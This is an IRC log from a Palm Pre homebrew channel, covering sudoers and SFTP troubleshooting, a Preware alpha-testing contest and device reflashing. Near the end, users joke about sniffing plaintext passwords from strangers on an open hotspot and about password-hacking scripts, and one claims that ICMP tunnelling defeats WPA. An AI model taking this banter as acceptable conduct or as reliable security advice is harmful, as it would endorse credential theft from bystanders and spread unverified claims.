ALL=NOPASSWD: /opt/libexec/sftp-server Sep 01 04:27:56 at the VERY bottom right Sep 01 04:28:23 snake ALL=(ALL) ALL Sep 01 04:28:23 snake ALL=NOPASSWD: /opt/libexec/sftp-server Sep 01 04:28:25 is what I have Sep 01 04:28:33 at the very bottom under the #samples section Sep 01 04:28:41 ICF|Rob: there is no such thing as rooting Sep 01 04:28:52 and I say for the ten-thousandth time. Sep 01 04:28:54 or whatever you call it =\ Sep 01 04:28:56 no such thing. Sep 01 04:29:10 ICF|Rob: you're saying you don't want to type any commands..... Sep 01 04:29:18 well, all I know is that I couldn't get MyTether to work Sep 01 04:29:24 I couldn't get the drivers installed. Sep 01 04:29:28 the guy who wrote mytether will sell you an IPK if you send him a "donation" Sep 01 04:29:31 gave me an error Sep 01 04:30:00 the rest of us basically do not support it, since it's not really free. You get the "good" version only if you pay for it. Otherwise you get the "lame" version Sep 01 04:30:13 ICF|Rob: yeah, best to go to the mytether forums for support on that - it's not a webos-internals.org product and we can't support every author's app here. Sep 01 04:30:16 so, private message him on the precentral forums, or send him a donation Sep 01 04:30:18 yeah. $10 donation. Sep 01 04:30:26 gotcha Sep 01 04:30:28 life sucks somethines Sep 01 04:30:33 hahahaha Sep 01 04:30:36 "donation" ;-) Sep 01 04:30:42 right Sep 01 04:30:51 my thoughts exactly Sep 01 04:30:51 and about the accelerometer, what are some advantages of tweaking it? Sep 01 04:30:55 and what are some of the cons Sep 01 04:30:57 k4p741nkrunch: any other ideas? I gotta be headed off to bed soon Sep 01 04:30:58 :-/ Sep 01 04:31:04 if it looks like a duck and walks like a duck and quacks like a duck.... Sep 01 04:31:08 Snake did you set the rw AFTER you rebooted? Sep 01 04:31:15 k4p741nkrunch: I just set it, right now Sep 01 04:31:19 Rick_home: it's a goose? Sep 01 04:31:21 want me to reboot? Sep 01 04:31:21 haha Sep 01 04:31:26 ICF|Rob: if you're not running an app that needs more than 4 accelerometer reads a second, you don't need it. Sep 01 04:31:38 Yea it seems like they MOVED the alert dialog from the Controller to the SceneController Sep 01 04:31:39 Well try turning the phone off totally Sep 01 04:31:43 ok Sep 01 04:31:43 Then turning it back on Sep 01 04:31:53 Sounds stupid but I've seen that fix sillier things Sep 01 04:31:53 yeah, I don't think so. the highest graphic app I use is either the web or the GPS Sep 01 04:31:55 if you need to tell how many rpm your pre is spinning at when you toss it up in the air... you need it. Sep 01 04:31:57 at least it better be that and they aren't just flat out lying in the docs :D Sep 01 04:32:06 k4p741nkrunch: give the pre about an hour Sep 01 04:32:16 * Snake hates how long it takes for this thing to reboot Sep 01 04:32:41 right egaudet and they failed ONCE AGAIN to update the docs Sep 01 04:32:48 I can't imagine WHY they did that tho. Sep 01 04:32:51 oh well. Sep 01 04:32:52 Snake, WORKAROUND: change your boot screen to something pretty so it's not so bad Sep 01 04:32:57 heh Sep 01 04:32:57 this works, and now I know it Sep 01 04:33:00 THANK YOU SIR Sep 01 04:33:05 ok, so we're looking for 3 volunteers who know how to clone a git repo, and can test an application in that source code repo on the emulator or their phone. Sep 01 04:33:33 the incentive is that you get to be the first to try Preware 0.7.8 Sep 01 04:33:55 the catch is that we will give absolutely no help to anyone trying to do it, unless they find a real bug. Sep 01 04:34:10 What a tempting offer :P Sep 01 04:34:10 who's up for it Sep 01 04:34:19 git clone sign me up Sep 01 04:34:31 I will give a git clone URL - the rest is up to you. Sep 01 04:34:59 in fact, perhaps I should just say that if you don't already know the right git clone url for Preware, then you're disqualified out of the gate .... Sep 01 04:35:12 if only i knew how packaging worked :P Sep 01 04:35:16 * rwhitby waits to see who is the first ... Sep 01 04:35:32 im so glad I got a pre and didnt wait for the touchpro2.. thats selling for $350! Sep 01 04:35:36 screw that Sep 01 04:35:51 haha yes Sep 01 04:35:56 $350 for that piece Sep 01 04:36:06 k4p741nkrunch: im back up, trying again Sep 01 04:36:07 git.webos-internals.org/applications/preware.git right Sep 01 04:36:27 nope. still permission denied Sep 01 04:36:33 error code:3 Sep 01 04:36:55 Can you log in as root? Sep 01 04:37:05 I dont know roots password Sep 01 04:37:08 I tried that haha Sep 01 04:37:25 the password is barqs Sep 01 04:37:35 when you sudo in putty what pw do you use Sep 01 04:37:43 the first person to complete this task with no further information than that gets to say that they were the first person to test Preware 0.8.0 Sep 01 04:37:50 the same password for my user account Sep 01 04:37:53 Eguy your sarcasm is an obstacle sometimes Sep 01 04:38:01 lol Sep 01 04:38:03 but that doesnt work when trying to use winscp for whatever reason Sep 01 04:38:20 Sorry k4p741nkrunch Sep 01 04:38:28 * rwhitby goes to lunch while waiting for the winner Sep 01 04:38:36 Snake, i always have to sftp into user@ip.ad.dre.ss, dunno, maybe it's just my client Sep 01 04:38:49 Pleas whitty, we're doing important work here ;) Sep 01 04:40:19 hahahaha Sep 01 04:40:29 I don't think he would like that nick name Sep 01 04:41:14 I think its time to give up Sep 01 04:41:17 I gotta be up in 5 hours Sep 01 04:41:28 k4p741nkrunch: ill come back tomorrow. thanks for your help Sep 01 04:41:29 night Sep 01 04:41:34 Eguy: but at least it wouldn't light up his IRC client Sep 01 04:41:35 :) Sep 01 04:41:38 The winner of the contest has to tell me how many screenshots are shown in the Preware entry in the new version of Preware. Sep 01 04:41:38 np sorry Sep 01 04:41:55 ("one" is not the correct answer) Sep 01 04:42:03 I won yesterday, where is my cookie? Sep 01 04:42:18 Imma do it Sep 01 04:42:36 Note that we need three people to do this before we can release. Sep 01 04:42:46 where is the ipk Sep 01 04:42:49 it's almost 1am on the east coast usa :P Sep 01 04:43:04 Preware is in beta now - so we need more extensive alpha testing before we release to the public. Sep 01 04:43:05 Eguy, you have to clone / package it yourself Sep 01 04:43:14 zsoc: around boston? Sep 01 04:43:18 argh Sep 01 04:43:22 gkatsev, close enough Sep 01 04:43:37 You are allowed to help each other achieve the goal ... ;-) Sep 01 04:43:39 I politely decline Sep 01 04:44:05 *psst the answer is 3.14* Sep 01 04:44:06 zsoc: how far? #webosboston Sep 01 04:44:11 (if anyone hasn't noticed yet, this is a blatent ploy to get more people being able to build and test applications) Sep 01 04:44:38 I can crash building crappy sources over and over again, is that close? Sep 01 04:44:42 Im around Boston Sep 01 04:44:59 k4p741nkrunch: then head over to #webosboston and webosboston.org Sep 01 04:45:16 rwhitby: I've found me a list of git commands and I'm reasonably confident. But then, I thought the same thing about diving into scp yesterday Sep 01 04:45:25 .....and that did not turn out well. Sep 01 04:45:32 doesn't palm-package only work _on_ the palm? :P Sep 01 04:46:12 I tried git clone git://gitorious.org/webos-internals/preware.git, no luck Sep 01 04:46:20 do you have git installed? :P Sep 01 04:46:38 Yep Sep 01 04:46:57 git://git.webos-internals.org/applications/preware.git ? i think is the correct location Sep 01 04:46:58 fatal: protocol error: expected sha/ref, got ' Sep 01 04:46:58 ---------------------------------------------- Sep 01 04:46:58 Cannot find repository: /webos-internals/preware.git Sep 01 04:47:16 Oh that might have been the old one Sep 01 04:47:20 I'm looking at the scenes now but I don't have any idea of the answer Sep 01 04:47:41 hoorayy Sep 01 04:48:47 I see the call to the screenshots Sep 01 04:48:51 Now to compile Sep 01 04:48:52 no number though Sep 01 04:49:00 still nobody has tested preware? Sep 01 04:49:06 Eguy: heh - resistant to cheating :-) Sep 01 04:49:41 I see this 141 AppViewAssistant.prototype.screenshotTapHandler = function(event) 142 { 143 ssNum = event.srcElement.id.replace(/ss_/, ''); 144 // push the screenshots scene 145 this.controller.stageController.pushScene('screenshots', this.item.screenshots, ssNum); Sep 01 04:49:52 oh that didn't copy well Sep 01 04:49:56 It's in the metadata not the app Sep 01 04:49:58 what? Sep 01 04:50:06 before anyone asks the change in the lastupdated timestamp for ipkgservice is not a new version, it just has a new icon in the metadata. Sep 01 04:50:07 Right Sep 01 04:50:16 er.. you don't compile pre apps... Sep 01 04:50:47 [[// we're hiding this crap for now since it doesn't do anything at all. LOL Sep 01 04:50:49 Hah hah very funny, now where's the makefile Sep 01 04:50:51 :P Sep 01 04:51:31 who put that in there? Sep 01 04:52:46 hi folks. anyone install Samba and cups on the pre? Sep 01 04:53:03 they are part of optware so yes Sep 01 04:53:52 I saw the instructions for Samba, but the latest 3.14-1 fails. Sep 01 04:54:13 this is a rather frightening process! is hacking around activation really the only way for a developer to use a Pre off network for testing? Sep 01 04:54:41 Hey, whaddaya know. Git clone ain't rocket surgery after all Sep 01 04:55:24 cups works great, but trying to hook it up with samba to print to a windows printer. so any help with samba is appreciated Sep 01 04:56:14 git is not complicated :P Sep 01 04:57:12 You're speaking to a Windows lifer, zsoc. Consider my skillz as you would a toddler, or a god. Sep 01 04:57:20 git is major win! Sep 01 04:57:32 um... Sep 01 04:57:35 ...that should be dog. Sep 01 04:57:38 Not God. Sep 01 04:57:39 heh Sep 01 04:57:44 Although you may consider me one if you want. Sep 01 04:57:56 It takes effort to move the folders to my pre tho Sep 01 04:58:04 i'd have to like... sftp them... Sep 01 04:59:20 or you can mount them via sshfs Sep 01 04:59:58 I have spent too much time on this Sep 01 05:00:03 back to work Sep 01 05:00:52 ok bed time Sep 01 05:01:09 Ahah! Sep 01 05:01:16 rwhitby: sorry. Sep 01 05:01:33 I know that's what you need, but I didn't get it done and I'm falling asleep Sep 01 05:01:39 gnight Sep 01 05:01:43 Wait do I need a new ipkgservice Sep 01 05:02:00 I'm stuck on loading with 0.7.8 Sep 01 05:02:09 si Sep 01 05:02:11 Did you revert it back rwhitby Sep 01 05:02:13 no, no new service Sep 01 05:02:18 I lied Sep 01 05:02:20 lol Sep 01 05:02:30 I thought you said you changed it Sep 01 05:02:56 oh my mistake... I'll shut up now Sep 01 05:03:18 well Sep 01 05:03:19 we did Sep 01 05:03:22 but its not needed Sep 01 05:03:30 uhhh, this looks bad Sep 01 05:03:38 WARNING: flashing failed, move to failed card Sep 01 05:03:51 I've got 0.7.8 but no dice. Stuck loading Sep 01 05:04:05 We were unable to reset your phone Sep 01 05:04:23 What were you doing, doctoring? Sep 01 05:04:37 yea I made all the edits & ran the flasher Sep 01 05:04:46 things seemed to be working till the very end, then that Sep 01 05:04:49 Is it necessary to remove Preware 0.7.7 before installing 0.8.8 Sep 01 05:04:55 erm, i mean 0.7.8 Sep 01 05:04:58 I did Sep 01 05:05:03 Just removed the files Sep 01 05:05:27 I Sep 01 05:05:39 'm stuck with the flash chip/arrow on the pre Sep 01 05:06:29 I think because the diffs didn't work you might not have placed the right lines in there Sep 01 05:06:56 rwhitby, doesn't load Sep 01 05:07:02 rwhitby: ....and the correct answer is.... THREE Sep 01 05:07:15 And my, aren't they pretty. Sep 01 05:07:16 freakout how did you get past the loading? Sep 01 05:07:20 freakout: nope Sep 01 05:07:22 rwhitby, he has a cheating version Sep 01 05:07:24 Dunno, k4, it just worked Sep 01 05:07:28 liar Sep 01 05:07:29 * oil doesn't understand non-loading problem Sep 01 05:07:34 its working here Sep 01 05:07:39 * zsoc is trying to reboot, for no reason, for fun Sep 01 05:07:40 and i just did a fresh reinstall on the emu Sep 01 05:07:41 freakout: scroll it, but don't tell the real answer in public Sep 01 05:07:41 can I just unplug/restart the phone? Sep 01 05:07:46 um Sep 01 05:07:48 oops Sep 01 05:07:50 Sorry. Sep 01 05:08:00 * freakout looks at floor, shuffles feet. Sep 01 05:08:03 zsoc are you trying this? Sep 01 05:08:09 k4p741nkrunch, indeed Sep 01 05:08:14 * freakout was carried away with the excitement of the moment. Sep 01 05:08:15 Have you got past loading Sep 01 05:08:22 indeed no Sep 01 05:08:25 wha Sep 01 05:08:27 freakout: /msg me for confirmation Sep 01 05:08:29 But you see what I'm saying right Sep 01 05:08:36 hold please Sep 01 05:08:45 ..okaay Sep 01 05:09:35 * oil just did a fresh install of 0.7.7 with wqi Sep 01 05:09:40 then palm-installed 0.7.8 Sep 01 05:09:42 and it got past loading Sep 01 05:09:46 rwhitby, I'm actually not joking. Preware v0.7.8, doesn't load on my phone. Sep 01 05:09:54 well i'm using legit hardware :P Sep 01 05:10:00 New quick install out Sep 01 05:10:01 how do I restart my phone after a failed flash? Sep 01 05:10:05 zsoc did you just remove and replace files? Sep 01 05:10:08 In case anyone wants to know' Sep 01 05:10:22 k4p741nkrunch, yeah? Sep 01 05:10:38 we have a winner - freakout just told me the right answer Sep 01 05:10:48 what was it Sep 01 05:10:56 not saying Sep 01 05:11:01 we need two more Sep 01 05:11:05 rwhitby, but if it's on an emulator, it doesn't help anyone Sep 01 05:11:08 * freakout Looks insufferably smug. Sep 01 05:11:18 I can't find it Sep 01 05:11:42 can someone remind me how to send a whole folder to the emulator lol Sep 01 05:11:42 Simply replacing the files which SHOULD work does not Sep 01 05:11:50 rwhitby, oh crap it worked after reboot Sep 01 05:12:17 Oh lawd must reboot Sep 01 05:12:26 or luna send Sep 01 05:12:28 OH LAWDY LAWDY IS DAT SOME REBOOT Sep 01 05:12:31 second and third place have to /msg me Sep 01 05:12:33 makes no sense Sep 01 05:12:37 refresh the gui Sep 01 05:13:02 so did I just brick my phone or what Sep 01 05:13:15 Damn, I rebooted the whole thing Sep 01 05:13:26 see you in 30 minutes Sep 01 05:13:32 zsoc gets second place Sep 01 05:13:40 * Eguy gives up Sep 01 05:13:41 hahaha. Is it really that bad on the actual hardware Eguy? Sep 01 05:13:42 you need an arrow there >.< Sep 01 05:13:46 can't believe you have to jump through this many hoops just to get started building apps Sep 01 05:13:50 Must..get...third Sep 01 05:14:06 It's like 1:35 freakout Sep 01 05:14:13 but feels MUCH longer Sep 01 05:14:25 Bloody hell, that's worse than the Treo 680 Sep 01 05:14:36 worse than the Centro Sep 01 05:14:45 the 700p was very quick Sep 01 05:14:51 650 was smokin' Sep 01 05:14:52 that was the only good thing about it LOL Sep 01 05:14:56 It's the one thing I miss the most about it. Sep 01 05:15:00 * k4p741nkrunch sets up_threshold to 15, maxfreq to 600000 COME ON LOAD FASTER Sep 01 05:15:04 it crashed all the time but at least it rebooted fast Sep 01 05:15:34 Eguy, hey.. i'm not sure if you're aware.. er.. you know the Pre .. y'know.. 'runs' linux. Sep 01 05:15:57 which means it doesn't have a real filesystem? :) Sep 01 05:15:59 zsoc: What is Lienucx? Sep 01 05:16:13 Eguy: It's a new version of Windows Sep 01 05:16:26 * zsoc blinks Sep 01 05:16:32 ok i'm done Sep 01 05:16:34 Windows 7.75? Sep 01 05:16:37 I'm glad Palm didn't use reiserfs on the Pre, I'd hate for it to murder my data Sep 01 05:16:41 y'know... bury it in a swamp Sep 01 05:16:46 nobody knows how to reboot this thing after the flash fails? Sep 01 05:16:47 Woot woot Sep 01 05:16:47 rwhitby, oil, I like it. The new multi image and full desc is a nice piece of work. Sep 01 05:16:56 Am I suppose to be testing it in other ways? I just installed an app Sep 01 05:16:56 Loovin it Sep 01 05:16:59 zsoc: Second on that. Sep 01 05:17:10 Reboot worked Sep 01 05:17:11 Much more user-friendly than 077 Sep 01 05:17:25 So, hows it feel to be on the bleeding edge guys Sep 01 05:17:28 :P Sep 01 05:17:37 when they start bleeding Sep 01 05:17:41 then they might change their minds ;) Sep 01 05:17:55 I'm not bleeding yet Sep 01 05:18:02 Oh by the way, when I said 'i just installed an app', i mean 'i just tried to install an app and nothing happened'. Well not nothing. The gesture area lit up. Sep 01 05:18:07 rwhitby sent ya a msg Sep 01 05:18:38 oh hm, now it's working Sep 01 05:18:40 nevermind, all is well Sep 01 05:18:52 sorry supasoide I was caught up Sep 01 05:19:07 hahahaha I forgot how fast the emulator boots up Sep 01 05:19:13 so, freakout, a fellow aussie, beat everyone else here. must be something about the australian education system ... ;-) Sep 01 05:19:26 k4p741nkrunch gets third Sep 01 05:19:27 i wasn't trying till i felt bad about no one else trying :P Sep 01 05:19:32 You mean freakout isn't a yobbo? Sep 01 05:19:32 Yay Sep 01 05:19:37 * freakout high-fives rwhitby Sep 01 05:19:41 is P|C forums working? Sep 01 05:19:41 freakout you using emu? Sep 01 05:19:50 psykoz: I live in Riverstone, so I wouldn't go that far Sep 01 05:19:57 k4, yup Sep 01 05:20:02 If I had used SCP instead of CP commands.. Sep 01 05:20:14 Did you have to reboot? Sep 01 05:20:24 I used palm-package, then webOS quick install. Sep 01 05:20:25 anyway, going to sleep finally, done with firefly for the night Sep 01 05:20:34 night gkat Sep 01 05:20:42 Fired up the emu, removed Preware 077 via launcher, quick-installed 078 Sep 01 05:20:49 now for the prizes Sep 01 05:21:08 lol, i moved on sftp, then cp -r'd the whole dir to /usr/palm/applications from the term app on my phone :P i'm lazy and didn't have a cable in arms reach Sep 01 05:21:09 huzzah, prizes! Sep 01 05:21:09 prizes, prizes, prizizes! Sep 01 05:21:20 first second and third prize is the opportunity to write a wiki page on how to alpha test webos-internals applications Sep 01 05:21:26 No prizezes, we don't talk about that kind of stuff here Sep 01 05:21:32 HAHAHA Sep 01 05:21:33 I actually dislike my life right now. Sep 01 05:21:35 you win WORK! Sep 01 05:21:38 lol Sep 01 05:21:43 I'll do it! Sep 01 05:21:48 I'd tell rwhitby take this job and shove it! :) Sep 01 05:21:48 * oil cracks whip Sep 01 05:21:55 It's already 1:30 here. I have to be up at 7:30. and work all day tommorow :P Sep 01 05:21:56 I'm about to remove my battery to try to reboot this thing...bad idea? Sep 01 05:21:57 but...but.... I was hoping for riches! And female humans! Sep 01 05:21:58 so then everyone else in the channel can repeat it, and we can make sure we've got all the upgrade scenarios covered Sep 01 05:22:11 If Oil will get his stinky footprints out of my Pre's /var/log/messages Sep 01 05:22:19 eh? Sep 01 05:22:22 whats goin in there Sep 01 05:22:30 Heh. I'll do the ridiculous wiki in the morning :p Sep 01 05:22:34 night all, thanks for the help Sep 01 05:22:39 thanks zsoc Sep 01 05:22:40 "Oil pwned j00" Sep 01 05:22:44 remember how I quit? Sep 01 05:22:48 i should really add that to the code Sep 01 05:23:12 rwhitby, sorry i 'dinged' your name too many times tonight ^_^ Sep 01 05:23:35 zsoc: you got your credit back by being second :-) Sep 01 05:23:53 lol. the words hurt tho man, they hurt ;) Sep 01 05:23:56 I'll contribute my formidable writing talents to ze wiki too Sep 01 05:23:57 Nice job figuring out the ui refresh Sep 01 05:24:05 Probably wouldn't have thought of that.. Sep 01 05:24:17 * zsoc is going to get this package to compile tommorow, he is sure of it Sep 01 05:24:19 peace Sep 01 05:24:25 later zsoc Sep 01 05:24:27 Night yo Sep 01 05:25:20 rwhitby, oil: you guys happy for me to blog about this on PalmInfocenter? Sep 01 05:25:47 hmm Sep 01 05:25:51 freakout: not before the 0.8.0 release please Sep 01 05:25:54 supaspoida have you tried turning on the phone while holding the volume up button Sep 01 05:26:04 You should be able to doctor it normally with that Sep 01 05:26:11 turning off the phone was the problem Sep 01 05:26:14 THen try again Sep 01 05:26:20 rwhitby: Oo, my first embargo. No worries ;) Sep 01 05:26:23 I did the one + volume to start the flash process Sep 01 05:26:31 actually, as long as you include instructions on how to alpha test in the article, feel free ;-) Sep 01 05:26:34 ran through most of it, then things started to fail Sep 01 05:26:48 haha. Could kill two birds with one stone Sep 01 05:26:54 see ya gents tommorow, I have screwed around enough for one night ;) Sep 01 05:26:55 I'm sorry your first experience was bad Sep 01 05:27:03 Night Eguy Sep 01 05:27:04 Night Eguy Sep 01 05:27:08 yeah, no Precentral guys in here alpha testing, so freakout should get the scoop. Sep 01 05:27:10 hey that's my line Sep 01 05:27:17 hey that's my line Sep 01 05:27:19 :P Sep 01 05:27:19 oi! Sep 01 05:27:24 hey Sep 01 05:27:28 no fighting in here Sep 01 05:27:32 rwhitby: woohoo Sep 01 05:27:33 freakout: blog away :) Sep 01 05:27:42 Precentral are hard to beat sometimes Sep 01 05:27:57 freakout don't forget to put in a winners circle ;) Sep 01 05:27:59 ah, but you've got screenshot they don't this time. Sep 01 05:28:10 Although I do take credit for the *first* rwhitby interview. Sep 01 05:28:21 I wouldn't say your the first Sep 01 05:28:23 world famous Sep 01 05:28:26 Should have busted out the chequebook and made you promise only to speak to our network ;) Sep 01 05:28:27 freakout: make sure the screen shot is of the Preware detail page Sep 01 05:28:28 rwhitby Sep 01 05:28:35 absolutely. Sep 01 05:28:51 some descriptions are quite long Sep 01 05:28:59 im thinking a "more" type thing is needed Sep 01 05:29:01 I'll run a quick draft by you first if you want Sep 01 05:29:15 Thanks for the friendly competition Rod, I can sleep like a winner tonight Sep 01 05:29:26 freakout: sure thing Sep 01 05:29:35 Hey Rod have you heard from Evan Selleck at Slashgear? Sep 01 05:29:36 k4p741nkrunch: we do our best to keep the channel interesting :-) Sep 01 05:29:47 Splmonster: did the interview, haven't heard back. Sep 01 05:30:01 Okay... Sep 01 05:31:15 freakout: make sure you mention the whole WebOS Internals team of contributors to Preware, I'm only one part of it. Sep 01 05:31:28 rwhitby did it all Sep 01 05:31:32 haha Sep 01 05:31:33 dont let him tell you otherwise Sep 01 05:31:33 this is frustrating. all I want to do is build apps for this phone. they should be giving phones away to developers with the lead apple has in that department, but instead it takes me 3 hours to end up with an unworking device. Sep 01 05:32:02 I see Sellack on twitter Sep 01 05:32:05 supaspoida: yeah, they should be sending me a GSM Pre or two ... Sep 01 05:32:11 Evan Selleck? Sep 01 05:32:21 Yep Sep 01 05:32:32 Yeah he is a close friend of mine, he writes for slashgear Sep 01 05:32:35 rwhitby: oil: Yep, I understand it's all a team effort. Sep 01 05:32:36 11 hours ago he said Working on the great interview I had with Rod Whitby, from #WebOS #Internals. Will have it up soon. Sep 01 05:32:50 Yeah I read that, he also contacted me too about it Sep 01 05:33:04 no, if you say rwhitby did it all Sep 01 05:33:08 Rod I can't believe you don't have a Pre Sep 01 05:33:13 all anger over problems go to him Sep 01 05:33:17 lol Sep 01 05:33:19 I know we need to get him a Pre asap Sep 01 05:33:38 infinite spinning disc on a blue cloud background. Sep 01 05:33:40 * oil got $18 in donations for his games, would forward them to rwhitby Sep 01 05:33:42 not happy. Sep 01 05:34:01 Just to be clear: 0 Sep 01 05:34:06 0.7.8 is Alpha. Sep 01 05:34:11 ? Sep 01 05:34:18 Or is that 0.8 Sep 01 05:34:19 I'd say so Sep 01 05:34:22 oil: money's not a problem, if there was a GSM Pre available. But I'm not gonna shell out for a phone that doesn't work in my country ... Sep 01 05:34:22 i thought 0.7.7 was beta? Sep 01 05:34:37 freakout: 0.7.7 is beta, 0.7.8 is alpha, 0.8.0 will be beta Sep 01 05:34:50 * oil wishes we could just go 0.7.7.7 Sep 01 05:34:56 the more 7s the better Sep 01 05:35:06 oil: if you fix the version parsing in Preware we can ... Sep 01 05:35:11 Haha Sep 01 05:35:15 yeah Sep 01 05:35:17 Okeydoke, so the headline "Preware 0.7.8 Alpha Ready For Testing" Sep 01 05:35:18 I'm about to leave the US so the network is irrelevant to me, I just need a device that runs apps Sep 01 05:35:21 i need to change that to a fancy regex Sep 01 05:35:22 and loops Sep 01 05:35:23 is accurate? Sep 01 05:35:23 we can go 7:7.7.7-7+7 :-) Sep 01 05:35:39 supaspoida I'm sorry I can't offer an immediate solution Sep 01 05:35:42 good god. please don't Sep 01 05:35:52 we can even go 7:7.7.7-7+7~7 I think ... Sep 01 05:36:15 You've been very helpful k4p741nkrunch, my beef is with palm & sprint Sep 01 05:36:18 Best thing I can imagine is to do a straight battery pull, connect through USB and use the volume trick. Download a brand new webOS doctor image and try and flash Sep 01 05:36:57 Once you get it actually functioning we can come back and work on the bypassing Sep 01 05:37:14 If need be I'll get the image myself, patches the correct files, then upload it for ya Sep 01 05:38:14 freakout: when you've written the article, let me know and I'll tweet it Sep 01 05:38:34 and ill read it Sep 01 05:38:35 Excellent. Sep 01 05:38:36 * freakout rubs hands together Sep 01 05:38:43 to see you give rwhitby all the credit Sep 01 05:38:57 downloading a new webos now Sep 01 05:39:03 oil you like it back there in the dark or something? Sep 01 05:39:10 i do Sep 01 05:39:17 http://forums.precentral.net/1860746-post25.html Sep 01 05:39:27 I'll slap it together this afternoon. My backend access to PIC's server has been borked lately though, so I may have to get Ryan (the editor) to post it for me. Sep 01 05:39:33 oil: so do I - that's why we make a good team. Sep 01 05:39:53 Being in San Diego, probably won't go up for aboot 12 hours or so Sep 01 05:40:30 Genius Sep 01 05:40:37 You guys should totally start a webos-internals Justice League Sep 01 05:40:47 Do you have Spandex? Sep 01 05:40:53 * oil buys some Sep 01 05:41:06 pics or it didn't happen :P Sep 01 05:41:28 what, of me clicking "proceed to checkout"? Sep 01 05:41:52 Unless he's got a script setup to search amazon for a keyword and automatically purchase the first result I doubt he bought them that fast Sep 01 05:42:03 If that's what it takes. I have journalistic standards to maintain, you know. :P Sep 01 05:42:11 * oil has scripts for everything Sep 01 05:42:26 * k4p741nkrunch searches for oils self destruct script Sep 01 05:42:39 * freakout wonders if there's one for erection problems. Sep 01 05:42:50 * oil runs "delete self destruct script script" Sep 01 05:43:35 * k4p741nkrunch can't find it with all these porn-site password hacking scripts Sep 01 05:43:56 * k4p741nkrunch loves using /me Sep 01 05:44:24 * oil thinks /me is the best part of irc Sep 01 05:44:33 * oil <<3's speaking in 3rd person Sep 01 05:44:48 * PreGame thinks that /finger is the best Sep 01 05:45:26 * k4p741nkrunch asks "Is the myTether installer on Preware the same as the donation only version with WEP support?" Sep 01 05:45:37 * oil doesnt think so Sep 01 05:46:06 i wonder if i can get the donation only version if i donate $0.01 Sep 01 05:46:08 I don't want WEP anyways, would make it hard for everyone else to connect at Starbucks Sep 01 05:46:16 Need to donate 10.00 Sep 01 05:46:24 screw that Sep 01 05:46:33 And if they can't connect, how else am I to sniff plaintext passwords Sep 01 05:46:35 jst get it from someone that already donated Sep 01 05:46:38 isn't WEP the CRAP encryption? Sep 01 05:46:41 yea Sep 01 05:46:46 Yeah but it beats none Sep 01 05:46:50 WEP can be hacked in 30 seconds Sep 01 05:46:56 WPA2 is the most secure Sep 01 05:47:24 if someone is going through the trouble of packet sniffing WEP won't do anything for security Sep 01 05:47:30 You can tunnel all your traffic through icmp packets and get through WPA encryption on some routers without having a good connection Sep 01 05:47:49 Or the pass Sep 01 05:48:44 I suppose it all depends on how motivated your attackers are. Sep 01 05:48:58 if you just want to keep out drongos at Starbucks, WEP'd be okay i guess. Sep 01 05:49:16 No, I'm saying I want to let them in :P Sep 01 05:49:45 k4p741nkruch's Pre: The Paris Hilton of hotspots. Sep 01 05:49:47 Or my sniffedpasswords directory would never fill Sep 01 05:50:08 haha. Sep 01 05:50:16 Anyhoo, I'm ducking out for a bit. Sep 01 05:50:16 I haven't actually tried ARP poisoning the PRE yet Sep 01 05:50:25 peace freakout Sep 01 05:50:35 * freakout tips hat to room Sep 01 05:51:04 I'm getting out too, gotta get up at 7 AM for server maintenance Sep 01 05:51:10 Peace out Sep 01 05:51:16 lol Sep 01 05:51:20 later Sep 01 05:51:39 * k4p741nkrunch light oil on fire, HA! Sep 01 05:52:31 oil: I sent http://forums.precentral.net/showthread.php?p=1860937#post1860937 as a response to that thread Sep 01 05:54:02 anyone having an issue with getting notification sounds while they are on the phone? Sep 01 06:32:32 rwhitby: im in Sep 01 06:32:42 wtf? Sep 01 06:33:04 Decimation: you can still be fourth ;-) Sep 01 06:33:33 rwhitby: just tell me what to download and ill do it :P Sep 01 06:33:56 Decimation: ah, it doesn't work that way. read the competition rules ;-) Sep 01 06:35:33 RWHITBY Sep 01 06:36:22 we'll have some test ipkgs later. at the moment, the alpha testing is only for those who can clone and install the test apps themselves. Sep 01 06:36:33 man Sep 01 06:36:33 ill find it Sep 01 06:38:45 you've installed it before from source havent you? Sep 01 06:40:33 rwhitby: i just dont know the git link Sep 01 06:41:00 hint - it in the source code repositories page on the wiki Sep 01 06:43:03 rwhitby: noticed, dont care :D Sep 01 06:45:06 oil: I've extended the competition to the PreCentral thread: http://forums.precentral.net/showthread.php?p=1861027 Sep 01 06:45:16 i saw Sep 01 06:45:25 ive got it subscribed with instant notifications Sep 01 06:45:33 zsoc.. i already tried. Sep 01 06:47:07 rwhitby you gonna reply to preston james? Sep 01 06:47:08 how's the one who work for Bellmo here ? i'Ve a memory blank Sep 01 06:49:24 oil: no idea on that question Sep 01 06:50:26 Decimation: hint: it's not on gitorious.org Sep 01 06:55:03 url = git@git.webosinternals.org:applications/preware.git Sep 01 06:55:26 lol Sep 01 06:58:28 Decimation: hint: that's the push url - you'll want the clone url unless you're intending to make changes ;-) Sep 01 06:58:33 rwhitby: im hanging at updating Sep 01 06:58:33 http://screensnapr.com/u/ejj8i9.png Sep 01 06:58:33 i win Sep 01 06:59:07 Decimation: no spoilers in channel please. Sep 01 07:02:33 im stuck on updating. Sep 01 07:05:22 for how long? Sep 01 07:08:33 took a reboot for me Sep 01 07:08:51 huh Sep 01 07:10:24 Decimation: did you try just restarting Preware before rebooting? Sep 01 07:10:33 so rwhitby: i win. Sep 01 07:10:33 :P Sep 01 07:31:43 Decimation: well, you still haven't /msg'd me with the number of screenshots (don't say it in channel) and even then you'd be fourth .... Sep 01 07:33:23 rwhitby, dumb question, but Preware is open source isn't it Sep 01 07:33:32 freakout: GPLv2 Sep 01 07:33:42 sweet, just fact-checking my sentence :D Sep 01 07:34:02 and the Package Manager Service can only be used by other open source application. Sep 01 07:34:31 (for security reasons - applications using the package manger service must be open to security review of the source code) Sep 01 07:34:39 right-o Sep 01 07:35:04 we don't believe an application can get around the security features we've put in there, but we want to be sure. Sep 01 07:35:21 Good thinking. and i just noticed the answer was on the wiki. bad freakout! Sep 01 07:39:04 rwhitby Sep 01 07:39:35 rwhitby, what do you want to know? Sep 01 07:39:49 you said you win, but you haven Sep 01 07:39:55 't completed the competition Sep 01 07:41:35 it cant be bricked unless you do a hardware mod. Sep 01 07:42:29 rwhitby, oil: can I use your real names? Sep 01 07:42:59 And secondary to that question: what *is* your name, oil? ;) Sep 01 07:43:14 he was born to the name oil Sep 01 07:43:22 quite strange actually. Sep 01 07:43:25 Haha Sep 01 07:43:31 Vindictive parents? Sep 01 07:46:28 oil has gone to bed Sep 01 07:46:42 Decimation: you're the fourth winner. Sep 01 07:46:49 Decimation: did you see the prize list? 